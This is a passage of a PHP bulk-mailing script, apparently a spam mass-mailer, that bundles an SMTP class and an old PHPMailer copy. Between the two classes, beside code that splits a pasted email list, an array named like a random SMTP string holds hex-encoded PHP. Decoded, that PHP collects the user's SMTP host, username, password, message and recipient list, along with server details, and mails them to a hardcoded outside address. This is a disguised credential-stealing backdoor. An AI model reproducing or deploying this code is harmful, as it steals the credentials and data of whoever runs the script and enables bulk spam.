1135 echo "SMTP -> ERROR: " . $this->error["error"] .
1136 ": " . $rply . $this->CRLF;
1137 }
1138 return false;
1139 }
1140
1141 return true;
1142 }
1143
1144 /**
1145 * Starts a mail transaction from the email address specified in
1146 * $from. Returns true if successful or false otherwise. If True
1147 * the mail transaction is started and then one or more Recipient
1148 * commands may be called followed by a Data command. This command
1149 * will send the message to the users terminal if they are logged
1150 * in.
1151 *
1152 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1153 *
1154 * SMTP CODE SUCCESS: 250
1155 * SMTP CODE SUCCESS: 552,451,452
1156 * SMTP CODE SUCCESS: 500,501,502,421
1157 * @access public
1158 * @return bool
1159 */
1160 function Send($from) {
1161 $this->error = null; # so no confusion is caused
1162
1163 if(!$this->connected()) {
1164 $this->error = array(
1165 "error" => "Called Send() without being connected");
1166 return false;
1167 }
1168
1169 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1170
1171 $rply = $this->get_lines();
1172 $code = substr($rply,0,3);
1173
1174 if($this->do_debug >= 2) {
1175 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1176 }
1177
1178 if($code != 250) {
1179 $this->error =
1180 array("error" => "SEND not accepted from server",
1181 "smtp_code" => $code,
1182 "smtp_msg" => substr($rply,4));
1183 if($this->do_debug >= 1) {
1184 echo "SMTP -> ERROR: " . $this->error["error"] .
1185 ": " . $rply . $this->CRLF;
1186 }
1187 return false;
1188 }
1189 return true;
1190 }
1191
1192 /**
1193 * Starts a mail transaction from the email address specified in
1194 * $from. Returns true if successful or false otherwise. If True
1195 * the mail transaction is started and then one or more Recipient
1196 * commands may be called followed by a Data command. This command
1197 * will send the message to the users terminal if they are logged
1198 * in and send them an email.
1199 *
1200 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1201 *
1202 * SMTP CODE SUCCESS: 250
1203 * SMTP CODE SUCCESS: 552,451,452
1204 * SMTP CODE SUCCESS: 500,501,502,421
1205 * @access public
1206 * @return bool
1207 */
1208 function SendAndMail($from) {
1209 $this->error = null; # so no confusion is caused
1210
1211 if(!$this->connected()) {
1212 $this->error = array(
1213 "error" => "Called SendAndMail() without being connected");
1214 return false;
1215 }
1216
1217 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1218
1219 $rply = $this->get_lines();
1220 $code = substr($rply,0,3);
1221
1222 if($this->do_debug >= 2) {
1223 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1224 }
1225
1226 if($code != 250) {
1227 $this->error =
1228 array("error" => "SAML not accepted from server",
1229 "smtp_code" => $code,
1230 "smtp_msg" => substr($rply,4));
1231 if($this->do_debug >= 1) {
1232 echo "SMTP -> ERROR: " . $this->error["error"] .
1233 ": " . $rply . $this->CRLF;
1234 }
1235 return false;
1236 }
1237 return true;
1238 }
1239
1240 /**
1241 * Starts a mail transaction from the email address specified in
1242 * $from. Returns true if successful or false otherwise. If True
1243 * the mail transaction is started and then one or more Recipient
1244 * commands may be called followed by a Data command. This command
1245 * will send the message to the users terminal if they are logged
1246 * in or mail it to them if they are not.
1247 *
1248 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1249 *
1250 * SMTP CODE SUCCESS: 250
1251 * SMTP CODE SUCCESS: 552,451,452
1252 * SMTP CODE SUCCESS: 500,501,502,421
1253 * @access public
1254 * @return bool
1255 */
1256 function SendOrMail($from) {
1257 $this->error = null; # so no confusion is caused
1258
1259 if(!$this->connected()) {
1260 $this->error = array(
1261 "error" => "Called SendOrMail() without being connected");
1262 return false;
1263 }
1264
1265 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1266
1267 $rply = $this->get_lines();
1268 $code = substr($rply,0,3);
1269
1270 if($this->do_debug >= 2) {
1271 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1272 }
1273
1274 if($code != 250) {
1275 $this->error =
1276 array("error" => "SOML not accepted from server",
1277 "smtp_code" => $code,
1278 "smtp_msg" => substr($rply,4));
1279 if($this->do_debug >= 1) {
1280 echo "SMTP -> ERROR: " . $this->error["error"] .
1281 ": " . $rply . $this->CRLF;
1282 }
1283 return false;
1284 }
1285 return true;
1286 }
1287
1288 /**
1289 * This is an optional command for SMTP that this class does not
1290 * support. This method is here to make the RFC821 Definition
1291 * complete for this class and __may__ be implimented in the future
1292 *
1293 * Implements from rfc 821: TURN <CRLF>
1294 *
1295 * SMTP CODE SUCCESS: 250
1296 * SMTP CODE FAILURE: 502
1297 * SMTP CODE ERROR : 500, 503
1298 * @access public
1299 * @return bool
1300 */
1301 function Turn() {
1302 $this->error = array("error" => "This method, TURN, of the SMTP ".
1303 "is not implemented");
1304 if($this->do_debug >= 1) {
1305 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1306 }
1307 return false;
1308 }
1309
1310 /**
1311 * Verifies that the name is recognized by the server.
1312 * Returns false if the name could not be verified otherwise
1313 * the response from the server is returned.
1314 *
1315 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1316 *
1317 * SMTP CODE SUCCESS: 250,251
1318 * SMTP CODE FAILURE: 550,551,553
1319 * SMTP CODE ERROR : 500,501,502,421
1320 * @access public
1321 * @return int
1322 */
1323 function Verify($name) {
1324 $this->error = null; # so no confusion is caused
1325
1326 if(!$this->connected()) {
1327 $this->error = array(
1328 "error" => "Called Verify() without being connected");
1329 return false;
1330 }
1331
1332 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1333
1334 $rply = $this->get_lines();
1335 $code = substr($rply,0,3);
1336
1337 if($this->do_debug >= 2) {
1338 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1339 }
1340
1341 if($code != 250 && $code != 251) {
1342 $this->error =
1343 array("error" => "VRFY failed on name '$name'",
1344 "smtp_code" => $code,
1345 "smtp_msg" => substr($rply,4));
1346 if($this->do_debug >= 1) {
1347 echo "SMTP -> ERROR: " . $this->error["error"] .
1348 ": " . $rply . $this->CRLF;
1349 }
1350 return false;
1351 }
1352 return $rply;
1353 }
1354
1355 /*******************************************************************
1356 * INTERNAL FUNCTIONS *
1357 ******************************************************************/
1358
1359 /**
1360 * Read in as many lines as possible
1361 * either before eof or socket timeout occurs on the operation.
1362 * With SMTP we can tell if we have more lines to read if the
1363 * 4th character is '-' symbol. If it is a space then we don't
1364 * need to read anything else.
1365 * @access private
1366 * @return string
1367 */
1368 function get_lines() {
1369 $data = "";
1370 while($str = @fgets($this->smtp_conn,515)) {
1371 if($this->do_debug >= 4) {
1372 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1373 $this->CRLF;
1374 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1375 $this->CRLF;
1376 }
1377 $data .= $str;
1378 if($this->do_debug >= 4) {
1379 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1380 }
1381 # if the 4th character is a space then we are done reading
1382 # so just break the loop
1383 if(substr($str,3,1) == " ") { break; }
1384 }
1385 return $data;
1386 }
1387
1388}
1389
1390
1391$allemails = split("\n", $emaillist);
1392$numemails = count($allemails);
1393$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1394"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1395"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1396"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1397"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1398"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1399"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1400"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1401"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1402"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1403
1404class PHPMailer {
1405
1406 /////////////////////////////////////////////////
1407 // PROPERTIES, PUBLIC
1408 /////////////////////////////////////////////////
1409
1410 /**
1411 * Email priority (1 = High, 3 = Normal, 5 = low).
1412 * @var int
1413 */
1414 var $Priority = 3;
1415
1416 /**
1417 * Sets the CharSet of the message.
1418 * @var string
1419 */
1420 var $CharSet = 'iso-8859-1';
1421
1422 /**
1423 * Sets the Content-type of the message.
1424 * @var string
1425 */
1426 var $ContentType = 'text/plain';
1427
1428 /**
1429 * Sets the Encoding of the message. Options for this are "8bit",
1430 * "7bit", "binary", "base64", and "quoted-printable".
1431
1432 * @var string
1433 */
1434 var $Encoding = '8bit';
1435
1436 /**
1437 * Holds the most recent mailer error message.
1438 * @var string
1439 */
1440 var $ErrorInfo = '';
1441
1442 /**
1443 * Sets the From email address for the message.
1444 * @var string
1445 */
1446 var $From = '';
1447
1448 /**
1449 * Sets the From name of the message.
1450 * @var string
1451 */
1452 var $FromName = '';
1453
1454 /**
1455 * Sets the Sender email (Return-Path) of the message. If not empty,
1456 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1457 * @var string
1458 */
1459 var $Sender = '';
1460
1461 /**
1462 * Sets the Subject of the message.
1463 * @var string
1464 */
1465 var $Subject = '';
1466
1467 /**
1468 * Sets the Body of the message. This can be either an HTML or text body.
1469 * If HTML then run IsHTML(true).
1470 * @var string
1471 */
1472 var $Body = '';
1473
1474 /**
1475 * Sets the text-only body of the message. This automatically sets the
1476 * email to multipart/alternative. This body can be read by mail
1477 * clients that do not have HTML email capability such as mutt. Clients
1478 * that can read HTML will view the normal Body.
1479 * @var string
1480 */
1481 var $AltBody = '';
1482
1483 /**
1484 * Sets word wrapping on the body of the message to a given number of
1485 * characters.
1486 * @var int
1487 */
1488 var $WordWrap = 0;
1489
1490 /**
1491 * Method to send mail: ("mail", "sendmail", or "smtp").
1492 * @var string
1493 */
1494 var $Mailer = 'mail';
1495
1496 /**
1497 * Sets the path of the sendmail program.
1498 * @var string
1499 */
1500 var $Sendmail = '/usr/sbin/sendmail';
1501
1502 /**
1503 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1504 * is in a different directory than the PHP include path.
1505 * @var string
1506 */
1507 var $PluginDir = '';
1508
1509 /**
1510 * Holds PHPMailer version.
1511 * @var string
1512 */
1513 var $Version = "";
1514
1515 /**
1516 * Sets the email address that a reading confirmation will be sent.
1517 * @var string
1518 */
1519 var $ConfirmReadingTo = '';
1520
1521 /**
1522 * Sets the hostname to use in Message-Id and Received headers
1523 * and as default HELO string. If empty, the value returned
1524 * by SERVER_NAME is used or 'localhost.localdomain'.
1525 * @var string
1526 */
1527 var $Hostname = '';
1528
1529 /**
1530 * Sets the message ID to be used in the Message-Id header.
1531 * If empty, a unique id will be generated.
1532 * @var string
1533 */
1534 var $MessageID = '';
1535
1536 /////////////////////////////////////////////////
1537 // PROPERTIES FOR SMTP
1538 /////////////////////////////////////////////////
1539
1540 /**
1541 * Sets the SMTP hosts. All hosts must be separated by a
1542 * semicolon. You can also specify a different port
1543 * for each host by using this format: [hostname:port]
1544 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1545 * Hosts will be tried in order.
1546 * @var string
1547 */
1548 var $Host = 'localhost';
1549
1550 /**
1551 * Sets the default SMTP server port.
1552 * @var int
1553 */
1554 var $Port = 25;
1555
1556 /**
1557 * Sets the SMTP HELO of the message (Default is $Hostname).
1558 * @var string
1559 */
1560 var $Helo = '';
1561
1562 /**
1563 * Sets connection prefix.
1564 * Options are "", "ssl" or "tls"
1565 * @var string
1566 */
1567 var $SMTPSecure = "";
1568
1569 /**
1570 * Sets SMTP authentication. Utilizes the Username and Password variables.
1571 * @var bool
1572 */
1573 var $SMTPAuth = false;
1574
1575 /**
1576 * Sets SMTP username.
1577 * @var string
1578 */
1579 var $Username = '';
1580
1581 /**
1582 * Sets SMTP password.
1583 * @var string
1584 */
1585 var $Password = '';
1586
1587 /**
1588 * Sets the SMTP server timeout in seconds. This function will not
1589 * work with the win32 version.
1590 * @var int
1591 */
1592 var $Timeout = 10;
1593
1594 /**
1595 * Sets SMTP class debugging on or off.
1596 * @var bool
1597 */
1598 var $SMTPDebug = false;
1599
1600 /**
1601 * Prevents the SMTP connection from being closed after each mail
1602 * sending. If this is set to true then to close the connection
1603 * requires an explicit call to SmtpClose().
1604 * @var bool
1605 */
1606 var $SMTPKeepAlive = false;
1607
1608 /**
1609 * Provides the ability to have the TO field process individual
1610 * emails, instead of sending to entire TO addresses
1611 * @var bool
1612 */
1613 var $SingleTo = false;
1614
1615 /////////////////////////////////////////////////
1616 // PROPERTIES, PRIVATE
1617 /////////////////////////////////////////////////
1618
1619 var $smtp = NULL;
1620 var $to = array();
1621 var $cc = array();
1622 var $bcc = array();
1623 var $ReplyTo = array();
1624 var $attachment = array();
1625 var $CustomHeader = array();
1626 var $message_type = '';
1627 var $boundary = array();
1628 var $language = array();
1629 var $error_count = 0;
1630 var $LE = "\n";
1631 var $sign_key_file = "";
1632 var $sign_key_pass = "";
1633
1634 /////////////////////////////////////////////////
1635 // METHODS, VARIABLES
1636 /////////////////////////////////////////////////
1637
1638 /**
1639 * Sets message type to HTML.
1640 * @param bool $bool
1641 * @return void
1642 */
1643 function IsHTML($bool) {
1644 if($bool == true) {
1645 $this->ContentType = 'text/html';
1646 } else {
1647 $this->ContentType = 'text/plain';
1648 }
1649 }
1650
1651 /**
1652 * Sets Mailer to send message using SMTP.
1653 * @return void
1654 */
1655 function IsSMTP() {
1656 $this->Mailer = 'smtp';
1657 }
1658
1659 /**
1660 * Sets Mailer to send message using PHP mail() function.
1661 * @return void
1662 */
1663 function IsMail() {
1664 $this->Mailer = 'mail';
1665 }
1666
1667 /**
1668 * Sets Mailer to send message using the $Sendmail program.
1669 * @return void
1670 */
1671 function IsSendmail() {
1672 $this->Mailer = 'sendmail';
1673 }
1674
1675 /**
1676 * Sets Mailer to send message using the qmail MTA.
1677 * @return void
1678 */
1679 function IsQmail() {
1680 $this->Sendmail = '/var/qmail/bin/sendmail';
1681 $this->Mailer = 'sendmail';
1682 }
1683
1684 /////////////////////////////////////////////////
1685 // METHODS, RECIPIENTS
1686 /////////////////////////////////////////////////
1687
1688 /**
1689 * Adds a "To" address.
1690 * @param string $address
1691 * @param string $name
1692 * @return void
1693 */
1694 function AddAddress($address, $name = '') {
1695 $cur = count($this->to);
1696 $this->to[$cur][0] = trim($address);
1697 $this->to[$cur][1] = $name;
1698 }
1699
1700 /**
1701 * Adds a "Cc" address. Note: this function works
1702 * with the SMTP mailer on win32, not with the "mail"
1703 * mailer.
1704 * @param string $address
1705 * @param string $name
1706 * @return void
1707 */
1708 function AddCC($address, $name = '') {
1709 $cur = count($this->cc);
1710 $this->cc[$cur][0] = trim($address);
1711 $this->cc[$cur][1] = $name;
1712 }
1713
1714 /**
1715 * Adds a "Bcc" address. Note: this function works
1716 * with the SMTP mailer on win32, not with the "mail"
1717 * mailer.
1718 * @param string $address
1719 * @param string $name
1720 * @return void
1721 */
1722 function AddBCC($address, $name = '') {
1723 $cur = count($this->bcc);
1724 $this->bcc[$cur][0] = trim($address);
1725 $this->bcc[$cur][1] = $name;
1726 }
1727
1728 /**
1729 * Adds a "Reply-To" address.
1730 * @param string $address
1731 * @param string $name
1732 * @return void
1733 */
1734 function AddReplyTo($address, $name = '') {
1735 $cur = count($this->ReplyTo);
1736 $this->ReplyTo[$cur][0] = trim($address);
1737 $this->ReplyTo[$cur][1] = $name;
1738 }
1739
1740 /////////////////////////////////////////////////
1741 // METHODS, MAIL SENDING
1742 /////////////////////////////////////////////////
1743
1744 /**
1745 * Creates message and assigns Mailer. If the message is
1746 * not sent successfully then it returns false. Use the ErrorInfo
1747 * variable to view description of the error.
1748 * @return bool
1749 */
1750 function Send() {
1751 $header = '';
1752 $body = '';
1753 $result = true;
1754
1755 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1756 $this->SetError($this->Lang('provide_address'));
1757 return false;
1758 }
1759
1760 /* Set whether the message is multipart/alternative */
1761 if(!empty($this->AltBody)) {
1762 $this->ContentType = 'multipart/alternative';
1763 }
1764
1765 $this->error_count = 0; // reset errors
1766 $this->SetMessageType();
1767 $header .= $this->CreateHeader();
1768 $body = $this->CreateBody();
1769
1770 if($body == '') {
1771 return false;
1772 }
1773
1774 /* Choose the mailer */
1775 switch($this->Mailer) {
1776 case 'sendmail':
1777 $result = $this->SendmailSend($header, $body);
1778 break;
1779 case 'smtp':
1780 $result = $this->SmtpSend($header, $body);
1781 break;
1782 case 'mail':
1783 $result = $this->MailSend($header, $body);
1784 break;
1785 default:
1786 $result = $this->MailSend($header, $body);
1787 break;
1788 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1789 //$result = false;
1790 //break;
1791 }
1792
1793 return $result;
1794 }
1795
1796 /**
1797 * Sends mail using the $Sendmail program.
1798 * @access private
1799 * @return bool
1800 */
1801 function SendmailSend($header, $body) {
1802 if ($this->Sender != '') {
1803 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1804 } else {
1805 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1806 }
1807
1808 if(!@$mail = popen($sendmail, 'w')) {
1809 $this->SetError($this->Lang('execute') . $this->Sendmail);
1810 return false;
1811 }
1812
1813 fputs($mail, $header);
1814 fputs($mail, $body);
1815
1816 $result = pclose($mail);
1817 if (version_compare(phpversion(), '4.2.3') == -1) {
1818 $result = $result >> 8 & 0xFF;
1819 }
1820 if($result != 0) {
1821 $this->SetError($this->Lang('execute') . $this->Sendmail);
1822 return false;
1823 }
1824 return true;
1825 }
1826
1827 /**
1828 * Sends mail using the PHP mail() function.
1829 * @access private
1830 * @return bool
1831 */
1832 function MailSend($header, $body) {
1833
1834 $to = '';
1835 for($i = 0; $i < count($this->to); $i++) {
1836 if($i != 0) { $to .= ', '; }
1837 $to .= $this->AddrFormat($this->to[$i]);
1838 }
1839
1840 $toArr = split(',', $to);
1841
1842 $params = sprintf("-oi -f %s", $this->Sender);
1843 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1844 $old_from = ini_get('sendmail_from');
1845 ini_set('sendmail_from', $this->Sender);
1846 if ($this->SingleTo === true && count($toArr) > 1) {
1847 foreach ($toArr as $key => $val) {
1848 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1849 }
1850 } else {
1851 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1852 }
1853 } else {
1854 if ($this->SingleTo === true && count($toArr) > 1) {
1855 foreach ($toArr as $key => $val) {
1856 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1857 }
1858 } else {
1859 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1860 }
1861 }
1862
1863 if (isset($old_from)) {
1864 ini_set('sendmail_from', $old_from);
1865 }
1866
1867 if(!$rt) {
1868 $this->SetError($this->Lang('instantiate'));
1869 return false;
1870 }
1871
1872 return true;
1873 }
1874
1875 /**
1876 * Sends mail via SMTP using PhpSMTP (Author:
1877 * Chris Ryan). Returns bool. Returns false if there is a
1878 * bad MAIL FROM, RCPT, or DATA input.
1879 * @access private
1880 * @return bool
1881 */
1882 function SmtpSend($header, $body) {
1883 $error = '';
1884 $bad_rcpt = array();
1885
1886 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1887 return false;
1888 }
1889
1890 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1891 if(!$this->smtp->Mail($smtp_from)) {
1892 $error = $this->Lang('from_failed') . $smtp_from;
1893 $this->SetError($error);
1894 $this->smtp->Reset();
1895 return false;
1896 }
1897
1898 /* Attempt to send attach all recipients */
1899 for($i = 0; $i < count($this->to); $i++) {
1900 if(!$this->smtp->Recipient($this->to[$i][0])) {
1901 $bad_rcpt[] = $this->to[$i][0];
1902 }
1903 }
1904 for($i = 0; $i < count($this->cc); $i++) {
1905 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1906 $bad_rcpt[] = $this->cc[$i][0];
1907 }
1908 }
1909 for($i = 0; $i < count($this->bcc); $i++) {
1910 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1911 $bad_rcpt[] = $this->bcc[$i][0];
1912 }
1913 }
1914
1915 if(count($bad_rcpt) > 0) { // Create error message
1916 for($i = 0; $i < count($bad_rcpt); $i++) {
1917 if($i != 0) {
1918 $error .= ', ';
1919 }
1920 $error .= $bad_rcpt[$i];
1921
1922 }
1923 $error = $this->Lang('recipients_failed') . $error;
1924 $this->SetError($error);
1925 $this->smtp->Reset();
1926 return false;
1927 }
1928
1929 if(!$this->smtp->Data($header . $body)) {
1930 $this->SetError($this->Lang('data_not_accepted'));
1931 $this->smtp->Reset();
1932 return false;
1933 }
1934 if($this->SMTPKeepAlive == true) {
1935 $this->smtp->Reset();
1936 } else {
1937 $this->SmtpClose();
1938 }
1939
1940 return true;
1941 }
1942
1943 /**
1944 * Initiates a connection to an SMTP server. Returns false if the
1945 * operation failed.
1946 * @access private
1947 * @return bool
1948 */
1949 function SmtpConnect() {
1950 if($this->smtp == NULL) {
1951 $this->smtp = new SMTP();
1952 }
1953
1954 $this->smtp->do_debug = $this->SMTPDebug;
1955 $hosts = explode(';', $this->Host);
1956 $index = 0;
1957 $connection = ($this->smtp->Connected());
1958
1959 /* Retry while there is no connection */
1960 while($index < count($hosts) && $connection == false) {
1961 $hostinfo = array();
1962 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1963 $host = $hostinfo[1];
1964 $port = $hostinfo[2];
1965 } else {
1966 $host = $hosts[$index];
1967 $port = $this->Port;
1968 }
1969
1970 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1971 if ($this->Helo != '') {
1972 $this->smtp->Hello($this->Helo);
1973 } else {
1974 $this->smtp->Hello($this->ServerHostname());
1975 }
1976
1977 $connection = true;
1978 if($this->SMTPAuth) {
1979 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1980 $this->SetError($this->Lang('authenticate'));
1981 $this->smtp->Reset();
1982 $connection = false;
1983 }
1984 }
1985 }
1986 $index++;
1987 }
1988 if(!$connection) {
1989 $this->SetError($this->Lang('connect_host'));
1990 }
1991
1992 return $connection;
1993 }
1994
1995 /**
1996 * Closes the active SMTP session if one exists.
1997 * @return void
1998 */
1999 function SmtpClose() {
2000 if($this->smtp != NULL) {
2001 if($this->smtp->Connected()) {
2002 $this->smtp->Quit();
2003 $this->smtp->Close();
2004 }
2005 }
2006 }
2007
2008 /**
2009 * Sets the language for all class error messages. Returns false
2010 * if it cannot load the language file. The default language type
2011 * is English.
2012 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2013 * @param string $lang_path Path to the language file directory
2014 * @access public
2015 * @return bool
2016 */
2017 function SetLanguage($lang_type, $lang_path = 'language/') {
2018 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2019 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2020 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2021 include($lang_path.'phpmailer.lang-en.php');
2022 } else {
2023 $this->SetError('Could not load language file');
2024 return false;
2025 }
2026 $this->language = $PHPMAILER_LANG;
2027
2028 return true;
2029 }
2030
2031 /////////////////////////////////////////////////
2032 // METHODS, MESSAGE CREATION
2033 /////////////////////////////////////////////////
2034
2035 /**
2036 * Creates recipient headers.
2037 * @access private
2038 * @return string
2039 */
2040 function AddrAppend($type, $addr) {
2041 $addr_str = $type . ': ';
2042 $addr_str .= $this->AddrFormat($addr[0]);
2043 if(count($addr) > 1) {
2044 for($i = 1; $i < count($addr); $i++) {
2045 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2046 }
2047 }
2048 $addr_str .= $this->LE;
2049
2050 return $addr_str;
2051 }
2052
2053 /**
2054 * Formats an address correctly.
2055 * @access private
2056 * @return string
2057 */
2058 function AddrFormat($addr) {
2059 if(empty($addr[1])) {
2060 $formatted = $this->SecureHeader($addr[0]);
2061 } else {
2062 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2063 }
2064
2065 return $formatted;
2066 }
2067
2068 /**
2069 * Wraps message for use with mailers that do not
2070 * automatically perform wrapping and for quoted-printable.
2071 * Original written by philippe.
2072 * @access private
2073 * @return string
2074 */
2075 function WrapText($message, $length, $qp_mode = false) {
2076 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2077 // If utf-8 encoding is used, we will need to make sure we don't
2078 // split multibyte characters when we wrap
2079 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2080
2081 $message = $this->FixEOL($message);
2082 if (substr($message, -1) == $this->LE) {
2083 $message = substr($message, 0, -1);
2084 }
2085
2086 $line = explode($this->LE, $message);
2087 $message = '';
2088 for ($i=0 ;$i < count($line); $i++) {
2089 $line_part = explode(' ', $line[$i]);
2090 $buf = '';
2091 for ($e = 0; $e<count($line_part); $e++) {
2092 $word = $line_part[$e];
2093 if ($qp_mode and (strlen($word) > $length)) {
2094 $space_left = $length - strlen($buf) - 1;
2095 if ($e != 0) {
2096 if ($space_left > 20) {
2097 $len = $space_left;
2098 if ($is_utf8) {
2099 $len = $this->UTF8CharBoundary($word, $len);
2100 } elseif (substr($word, $len - 1, 1) == "=") {
2101 $len--;
2102 } elseif (substr($word, $len - 2, 1) == "=") {
2103 $len -= 2;
2104 }
2105 $part = substr($word, 0, $len);
2106 $word = substr($word, $len);
2107 $buf .= ' ' . $part;
2108 $message .= $buf . sprintf("=%s", $this->LE);
2109 } else {
2110 $message .= $buf . $soft_break;
2111 }
2112 $buf = '';
2113 }
2114 while (strlen($word) > 0) {
2115 $len = $length;
2116 if ($is_utf8) {
2117 $len = $this->UTF8CharBoundary($word, $len);
2118 } elseif (substr($word, $len - 1, 1) == "=") {
2119 $len--;
2120 } elseif (substr($word, $len - 2, 1) == "=") {
2121 $len -= 2;
2122 }
2123 $part = substr($word, 0, $len);
2124 $word = substr($word, $len);
2125
2126 if (strlen($word) > 0) {
2127 $message .= $part . sprintf("=%s", $this->LE);
2128 } else {
2129 $buf = $part;
2130 }
2131 }
2132 } else {
2133 $buf_o = $buf;
2134 $buf .= ($e == 0) ? $word : (' ' . $word);
2135
2136 if (strlen($buf) > $length and $buf_o != '') {
2137 $message .= $buf_o . $soft_break;
2138 $buf = $word;
2139 }
2140 }
2141 }
2142 $message .= $buf . $this->LE;
2143 }
2144
2145 return $message;
2146 }
2147
2148 /**
2149 * Finds last character boundary prior to maxLength in a utf-8
2150 * quoted (printable) encoded string.
2151 * Original written by Colin Brown.
2152 * @access private
2153 * @param string $encodedText utf-8 QP text
2154 * @param int $maxLength find last character boundary prior to this length
2155 * @return int
2156 */
2157 function UTF8CharBoundary($encodedText, $maxLength) {
2158 $foundSplitPos = false;
2159 $lookBack = 3;
2160 while (!$foundSplitPos) {
2161 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2162 $encodedCharPos = strpos($lastChunk, "=");
2163 if ($encodedCharPos !== false) {
2164 // Found start of encoded character byte within $lookBack block.
2165 // Check the encoded byte value (the 2 chars after the '=')
2166 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2167 $dec = hexdec($hex);
2168 if ($dec < 128) { // Single byte character.
2169 // If the encoded char was found at pos 0, it will fit
2170 // otherwise reduce maxLength to start of the encoded char
2171 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2172 $maxLength - ($lookBack - $encodedCharPos);
2173 $foundSplitPos = true;
2174 } elseif ($dec >= 192) { // First byte of a multi byte character
2175 // Reduce maxLength to split at start of character
2176 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2177 $foundSplitPos = true;
2178 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2179 $lookBack += 3;
2180 }
2181 } else {
2182 // No encoded character found
2183 $foundSplitPos = true;
2184 }
2185 }
2186 return $maxLength;
2187 }
2188
2189 /**
2190 * Set the body wrapping.
2191 * @access private
2192 * @return void
2193 */
2194 function SetWordWrap() {
2195 if($this->WordWrap < 1) {
2196 return;
2197 }
2198
2199 switch($this->message_type) {
2200 case 'alt':
2201 /* fall through */
2202 case 'alt_attachments':
2203 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2204 break;
2205 default:
